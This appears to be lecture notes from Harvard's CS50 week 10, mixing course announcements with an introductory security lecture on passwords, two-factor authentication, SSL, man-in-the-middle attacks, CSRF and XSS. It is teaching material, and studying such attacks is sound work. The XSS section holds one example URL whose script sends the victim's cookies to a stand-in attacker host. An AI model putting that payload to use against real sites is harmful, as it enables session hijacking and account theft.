Week 10

Some weeks ago, we introduced a 3D printer that takes spools of plastic and melted them into objects like the elephants.

But when David was at office hours at Leverett, he met one of your classmates and a friend of Cheng’s (yes I have friends), Michelle, who interned at Formlabs. Their printers use a different technique called stereolithography to print objects. This technique takes a liquid called resin and hits it with a laser to make it solid, while a plate lifts it up slowly until the object is complete. Check out the timelapse in the lecture video, made with single photos taken over the course of several hours!

This hardware is available to you, especially if your final project blends together software and the physical world in a creative way!

Last night, the Crimson also published an article about how David Johnson is leaving at the end of the academic year. David, who has been senior preceptor for Ec10 for many years, has also been a wonderful mentor to CS50 over the years and often counseled us on running such a large course. We thank and admire you, David Johnson!

Unrelatedly, the end of the semester coming up. Let’s see what’s ahead:

And for the project:

And as usual, if you want to join Nick and others at CS50 Lunch on Fri, 11/14 at 1:15pm, RSVP at the usual http://cs50.harvard.edu/RSVP.

And if you wish to join Nick and other staff as a member of CS50’s team, we’ll be recruiting for next year’s team, with roles like:

In other other news, David got a spam email this morning, that somehow slipped through Gmail’s filters:

We’ll look at some other examples today to see how we, humans, can be more conscious of security.

Even these days, lots of us use the same password for every website, and that makes sense because one password is a lot easier to remember than a bunch of passwords. But the risk is that if one website was hacked, then all of your accounts would be compromised.

We suggest a password manager, like the following:

In fact, the other day David was ordering something from Edible Arrangements, and when he tried to log in with his password manager, it warned him that their website was insecure:

Maybe there was something else to this story, so David opened the trusty Developer Tools and took a look at the request the page sent:

If you use one password for everything, all it takes is one website like this to make a poor design decision and put all your stuff at risk.

Another way to try to defend against this is to use what’s called two-factor authentication. This just means that, in addition to your username and password, websites will send you a text message to your phone with a second code that you use to login. Banks might also give you a little device that displays a changing code based on a pseudorandom number generator, but since both the bank and the device know what your seed is ("Remember what a seed is? Remember the last time we used one?"), they can verify your identity with both your password and the temporary code.

Google provides this service, which you can access at http://google.com/settings/security. You’ll give them your cell phone number, and every time you log in from a new computer, it’ll send you a text with a code. And as long as you enable your cookies and not explicitly log out, you’ll only have to do this every once in a while.

Facebook has this feature too, and they also have audits, where we can keep an eye on login activity, by means of this:

There’s definitely an additional cost of the inconvenience you may encounter if you lose your phone, not have signal, or be abroad, but this falls into the theme of tradeoffs and whether you consider the benefit of additional security to be worthwhile.

Secure Sockets Layer (SSL), too, is something we’ve taken for granted, but can also mislead people.

Check out this screenshot of www.bankofamerica.com with https highlighted in green, and a fancy padlock icon:

In fact, you might have even seen a screen like this back in October when David forgot to pay for CS50’s SSL certificate:

For example, we can go to facebook.com, and click on the padlock icon, and then Connection:

Then if we click on Details:

These certificates also expire. It looks like Facebook’s expires in October 2015, so we can change our date and time to sometime in the year 2020, and reload the page:

But even SSL is insecure in a way. There is a technique called the man-in-the-middle attack, in which there is literally someone between you and the website you’re communicating with. Indeed, there are lots of pieces of equipment like routers and DNS servers, and someone can trick your browser into talking to their computer by telling you the IP address for some website is that of their computer.

Then, it changes all the links and redirects that have https to just http:

So even though you think you might be at some website, an adversary can return pages to you that look like the website and even have the same hostname, through returning fake DNS results.

Humans will see the same website, except the URL will start with http instead of https. And people usually type in the start of a website like fa (for Facebook) or gm (for Gmail) and just hit enter when it autocompletes, instead of specifying https://facebook.com or https://gmail.com.

Usually, the websites would redirect you to the https version, but before that happens, the requests via http will also send cookies back and forth.

If we went to CS50’s homepage by typing in http://cs50.harvard.edu and looked at the request, we’d see this:

So even if websites use https, there’s a chance that something can still be compromised. And there are techniques for specifying to browsers that certain cookies should only be sent via HTTPS, but many websites don’t do that.

There are even more details in this video from a security conference some years ago.

And another trick is to change the favicon, or the little icon that represents your website, to a green lock, making people think that your website is secure, when it’s really not.

Session hijacking refers to monitoring a network’s traffic, taking the cookies that are sent unencrypted, and sending it as their own cookie in their HTTP headers, allowing someone malicious to pretend to be someone else. Traffic that’s encrypted with SSL, though, is safe from this attack, because the traffic’s HTTP headers (including any Set-Cookie or Cookie) headers are encrypted as well.

Another story was revealed very recently, with Verizon doing a very evil thing. When people accessed websites through a phone on Verizon’s data plan, Verizon would add a special header to all their HTTP requests. That header was called X-UIDH: …​ and that means "non-standard, unique identifier header." As in, Verizon would add a unique ID based on your phone number or account or something like that, and every time you visited a website, it would receive that header, and be able to know who you are, even if you deleted your cookies.

On a lighter note:

Another attack is cross-site request forgery (CSRF). One example, based on Problem Set 7, is tricking a user to clicking a link like http://pset7/sell.php?symbol=GOOG, that does something they didn’t intend. If the programmer of Problem Set 7 didn’t implement this feature with POST, or even just place a confirmation screen before the action is completed, then a user would have sold their shares of GOOG if they clicked that link.

Yet another type of attack is Cross-site scripting (XSS), where one site tricks another site into doing something it wouldn’t normally. Websites that don’t implement htmlspecialchars or similar are vulnerable. (Remember what htmlspecialchars does?) If websites just used print or echo to place user input on a webpage, then bad things can happen.

For instance, let’s look at this link here:

http://vulnerable.com/?q=<script>document.location='http://badguy.com/log.php?cookie='+document.cookie</script>

Let’s look at a real live (and hopefully working) JavaScript example in geolocation-0.html:

Let’s open the source code:

<!DOCTYPE html>

<html>
    <head>
        <script>

            function callback(position)
            {
                alert(position.coords.latitude + ', ' + position.coords.longitude); (9)
            }

            function geolocate()
            {
                if (typeof(navigator.geolocation) != 'undefined') (14)
                {
                    navigator.geolocation.getCurrentPosition(callback);
                }
                else
                {
                    alert('Your browser does not support geolocation!');
                }
            }

        </script>
        <title>geolocation-0</title>
    </head>
    <body onload="geolocate()"></body> (27)
</html>

And the security feature here was that Chrome prompted us to Allow or Deny this request before it gave our location to the web server.

But these days people tend to just hit Okay or Enter or Allow when they see a prompt like this, so this feature might also become a risk.

A few years ago, iTunes also had this feature where it would take the log of your location from your iPhone’s GPS and store it unencrypted on your computer whenever you backed up your iPhone. So whoever had access to your computer could just see the full history of where you’ve been.

David made a map of where he’s been with an app:

One year, he was running a lot to New York, and the path that ended up being traced was the Amtrak route he took:

If this was depressing to you (as it is to Cheng), realize that we’re probably not getting worse at writing software or being more malicious in tracking people, but better at noticing and informing people of these issues that might exist.

In addition to using password managers, we can also encrypt all of our traffic. We can use vpn.harvard.edu to encrypt all our traffic between us and Harvard’s servers, which then redirects our requests to whatever destinations we wanted to visit. This would make it practically impossible for other people to listen in on your network requests (unless they were between Harvard’s server and your destination, which is perhaps less unlike), whether HTTP or HTTPS, especially if you’re at an airport or Starbucks, where the network might be open and not super trustworthy.

Tor is another piece of software that anonymizes your connection, where lots of people relay messages unpredictably all over the Tor network, making it hard for anyone to figure out where traffic is coming from. But last year’s bomb threat was still traced back, because not many people use this particular software, port, and protocol, so at least the network could figure out who was anonymizing his or her traffic.

Lots of CS50 projects are insecure, and in the real world it’s not difficult to find these examples of insecure websites, too. Keeping an eye on the news would certainly help with staying informed, so you can protect yourself!

Let’s conclude with a really light video to get you excited for what’s to come, Muppet Hackathon!